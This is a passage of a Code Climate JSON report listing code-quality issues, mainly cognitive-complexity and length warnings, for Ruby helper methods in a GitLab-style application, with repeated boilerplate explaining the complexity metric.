new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sprite_icon` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b288e014419e55f1aa86631629c79889","location":{"path":"app/helpers/icons_helper.rb","lines":{"begin":44,"end":56}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `file_type_icon_class` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"2ddea2c28588a85667f5b5399507ff46","location":{"path":"app/helpers/icons_helper.rb","lines":{"begin":109,"end":151}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `commit_action_link` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8657821ad7a6c0ec4e6398a6aee36f9c","location":{"path":"app/helpers/commits_helper.rb","lines":{"begin":161,"end":181}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `todo_target_path` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d03a4561eaff01e66db146018ad0c969","location":{"path":"app/helpers/todos_helper.rb","lines":{"begin":39,"end":54}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `todo_due_date` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"db4163fb6bc594c0c7f5188d10a94d61","location":{"path":"app/helpers/todos_helper.rb","lines":{"begin":141,"end":160}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `url_for_issue` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b77357907fc65f32d6adebdec5c99e74","location":{"path":"app/helpers/issues_helper.rb","lines":{"begin":18,"end":32}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `path_breadcrumbs` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"309df9fc4689b2f5fb71f6534a5efd03","location":{"path":"app/helpers/tree_helper.rb","lines":{"begin":105,"end":121}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `edit_fork_button_tag` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"2b6c57301b36358581b2491652866c44","location":{"path":"app/helpers/blob_helper.rb","lines":{"begin":302,"end":302}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `edit_button_tag` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"723d5e25e5499349ff424fa5046927f1","location":{"path":"app/helpers/blob_helper.rb","lines":{"begin":318,"end":318}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `modify_file_button` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4b6850840a5430937e584328e518311d","location":{"path":"app/helpers/blob_helper.rb","lines":{"begin":51,"end":69}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `blob_raw_url` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b8466fa1a816b27c99638fe228016597","location":{"path":"app/helpers/blob_helper.rb","lines":{"begin":119,"end":131}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `edit_button_tag` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"93c71a130633cfcebe91bcda32798413","location":{"path":"app/helpers/blob_helper.rb","lines":{"begin":318,"end":327}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `projects_helper.rb` has 438 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"a3d8d9970bc1e29fb6cf0845a8963a35","location":{"path":"app/helpers/projects_helper.rb","lines":{"begin":3,"end":555}},"other_locations":[],"remediation_points":3907200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `link_to_member` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"92e14b6f78cd2026911faaf78829ba53","location":{"path":"app/helpers/projects_helper.rb","lines":{"begin":49,"end":73}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `project_title` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2ebe86c74e8aaea024bada46109f4e9a","location":{"path":"app/helpers/projects_helper.rb","lines":{"begin":75,"end":93}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_project_nav_tabs` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c4c2cc0402179e15ec7cff7acf71f67","location":{"path":"app/helpers/projects_helper.rb","lines":{"begin":266,"end":300}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `disallowed_project_visibility_level_description` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cde9c43b6e33582ebc01be9dcc6b0cc6","location":{"path":"app/helpers/visibility_level_helper.rb","lines":{"begin":84,"end":102}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `disallowed_group_visibility_level_description` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c964b53a81590235d500b10d64921ffc","location":{"path":"app/helpers/visibility_level_helper.rb","lines":{"begin":106,"end":128}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `webpack_controller_bundle_tags` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d1915400e4cdf8101f80cf09fcaa41a8","location":{"path":"app/helpers/webpack_helper.rb","lines":{"begin":8,"end":34}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `webpack_entrypoint_paths` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2059057b0a4c8c172104d3a69b6d33a1","location":{"path":"app/helpers/webpack_helper.rb","lines":{"begin":36,"end":57}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `webpack_public_host` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5187936b625c537cc83fe49f935245ac","location":{"path":"app/helpers/webpack_helper.rb","lines":{"begin":59,"end":68}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `milestone_class_for_state` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9f98077e679dcc8bdc4adbc9fc03e111","location":{"path":"app/helpers/milestones_helper.rb","lines":{"begin":71,"end":79}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `milestone_time_for` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7e9f0e967afa3a497b80340cf11b095e","location":{"path":"app/helpers/milestones_helper.rb","lines":{"begin":122,"end":144}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `milestone_date_range` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4843496f3de8ac4a890951c97d469064","location":{"path":"app/helpers/milestones_helper.rb","lines":{"begin":181,"end":197}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `share_with_group_lock_help_text` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ff00375205d66e384de0e3f33ec7d0d7","location":{"path":"app/helpers/groups_helper.rb","lines":{"begin":96,"end":108}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `group_title_link` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"98657f045e5336754e6eae56e789418f","location":{"path":"app/helpers/groups_helper.rb","lines":{"begin":141,"end":146}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `ci_icon_for_status` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"7c3efeba2a30134025307449a05b2f77","location":{"path":"app/helpers/ci_status_helper.rb","lines":{"begin":61,"end":91}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `sorting_helper.rb` has 302 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"01923968066dde38b1a1f78557e3aa84","location":{"path":"app/helpers/sorting_helper.rb","lines":{"begin":3,"end":382}},"other_locations":[],"remediation_points":1948800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `link_to_html` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7a4d4827db929df3ce6e16fb4d0b9522","location":{"path":"app/helpers/markup_helper.rb","lines":{"begin":45,"end":69}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `first_line_in_markdown` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a45a636cd6cfd627a9b9cb575482d665","location":{"path":"app/helpers/markup_helper.rb","lines":{"begin":75,"end":92}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `render_wiki_content` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f59f576a0875d3e1b3150c35d4244f1f","location":{"path":"app/helpers/markup_helper.rb","lines":{"begin":124,"end":148}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `markup_unsafe` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0f734634b0f84e17e369619da7591cc9","location":{"path":"app/helpers/markup_helper.rb","lines":{"begin":150,"end":166}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `truncate_visible` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7de1befc5006684b8aac21b36b5a2eee","location":{"path":"app/helpers/markup_helper.rb","lines":{"begin":198,"end":229}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is 